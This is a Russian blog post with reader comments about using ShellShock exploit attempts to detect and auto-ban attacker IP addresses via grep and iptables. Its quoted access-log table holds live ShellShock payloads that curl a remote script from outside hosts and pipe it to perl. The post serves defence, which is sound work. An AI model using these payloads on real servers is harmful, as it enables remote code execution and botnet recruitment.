Как использовать дыру ShellShock для укрепления безопасности собственного сайта

После того, как в Bash нашли позорнейшую дыру ShellShock, сайты атакуются десятки и сотни раз в день.

Честное слово, надоело в логах каждый день видеть вариации вот такого:

SELECT path,url,hostname FROM accesslog WHERE url LIKE '%()%';
+----------------------+--------------------------------------------------------------------------+----------------+
| path                 | url                                                                      | hostname       |
+----------------------+--------------------------------------------------------------------------+----------------+
| node                 | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 186.202.183.68 |
| node                 | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 186.202.183.68 |
| node                 | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 186.202.183.68 |
| node                 | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 78.129.145.208 |
| node                 | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 78.129.145.208 |
| node                 | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 78.129.145.208 |
| node                 | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl               | 208.131.138.50 |
| cgi-bin              | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl               | 208.131.138.50 |
| cgi-sys              | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl               | 208.131.138.50 |
| cgi-bin-sdb/printenv | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl               | 208.131.138.50 |
| cgi-mod/index.cgi    | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl               | 208.131.138.50 |
+----------------------+--------------------------------------------------------------------------+----------------+
11 rows in set (0.00 sec)

Почему-то принято делить хакеров на White Hat и Black Hat. По-моему, правильнее делить их на настоящих хакеров и каккеров-имбецилов. Первые сами находят уязвимости, вторые читают о них в журналах для пионеров типа «Каккер», месяц не могут врубиться, зато потом еще 5 лет будут пытаться воспользоваться дырой. Вот и с ShellShock: казалось бы, месяц прошел, все давно пропатчились, а количество атак только возрастает, причем чудовищными темпами. Но не будем отвлекаться.

Как известно, во всем можно отыскать как положительную, так и отрицательную сторону. В случае ShellShock со вредом все понятно — всякие упыри стали ломать сервера, чтобы потом с них атаковать, DDoS-ить и рассылать спам. Но должна же быть и хорошая сторона в появлении ShellShock? И эта сторона есть!

Давайте рассуждать. Чтобы попытаться проэксплуатировать дыру, каккер должен отправить данные, содержащие неизменяемый фрагмент. Как минимум, это "() {". С другой стороны, станет ли кто-нибудь отсылать данные, содержащие эту комбинацию без намерения что-то взломать? Очевидно, что нет. Делаем вывод, что получение "() {" может однозначно трактоваться как сигнал о преднамеренной попытке взлома. Получается, что каккеры сами выдают свои прокси и взломанные промежуточные сайты. Нам остается только собрать реестр таких IP и надежно их забанить.

Для этого пишем простой скрип, использующий всего 4 команды: cat, grep, cut и iptables. Суть проста: берется журнал посещений web-сервера, прогоняется через grep, с помощью cut вычленяется столбец с ip-адресом и все это отдается в iptables для блокировки. Лучше сразу всей подсетью /24. Иронично, что скрип на Bash.

Добавляем в cron и готово — теперь каккеры сами себя блокируют, чем значительно повышают общую защищенность сайта.

Кстати

Интернет-организации часто жалуются, что исчерпаны запасы свободных IP-адресов. Разве сейчас не предоставилась уникальная возможность составить список адресов, с которых ведутся атаки и изъять эти адреса у тех, кто не может защитить и удержать их?

Ваша оценка: Нет Средняя оценка: 3.8 (4 votes)
11
pomodor

В perl-скрипте прописан адрес командного центра. Домен в зоне su. То есть, не составило бы труда либо разделегировать домен и лишить каккеров доступа к ботнету, либо переписать DNS-сервера, взять ботнет под контроль, обновить на протрояненных компах баш и дать команду на самоудаление трояна. Но кому это нужно в России. Насколько я понимаю, лучшие пинкертоны заняты только мочиловом пиратов.

Ваша оценка: Нет Средняя оценка: 5 (3 votes)
a

не все пропатчились, исправьте.
еще лет десять будет дыра

Ваша оценка: Нет
4

У шеллшока несколько вариаций, насколько я знаю.

Ваша оценка: Нет
11
pomodor

Не совсем точно попали в слово. Вариации — это когда, например, Брамс берет что-то у Гайдна и исполняет на свой манер. Все в экстазе от высокой художественной ценности переработки. В случае с Bash никакого экстаза не было. С Bash случилось следующее: в нем нашли дыру, причем настолько серьезную, что затыкать ее пришлось впопыхах. Пока затыкали, лопнуло на других участках и говно зафонтанировало уже в нескольких местах одновременно. Подходящее слово — итерация. Лопнуло — залатали, лопнуло — залатали, ... , лопнуло — залатали. На десятой итерации ситуацию удалось взять под контроль и в мире Open Source снова воцарились мир и спокойствие.

Ваша оценка: Нет
Отправить комментарий
КАПЧА
Вы человек? Подсказка: зарегистрируйтесь, чтобы этот вопрос больше никогда не возникал. Кстати, анонимные ссылки запрещены.
CAPTCHA на основе изображений
Enter the characters shown in the image.
Linux I класса
Linux II класса
Linux III класса
Счетчики
  • Самый популярный сайт о Linux и Windows 10
О Либератуме

Liberatum — это новости мира дистрибутивов Linux, обзоры, сборки, блоги, а также лучший сайт об Ubuntu*.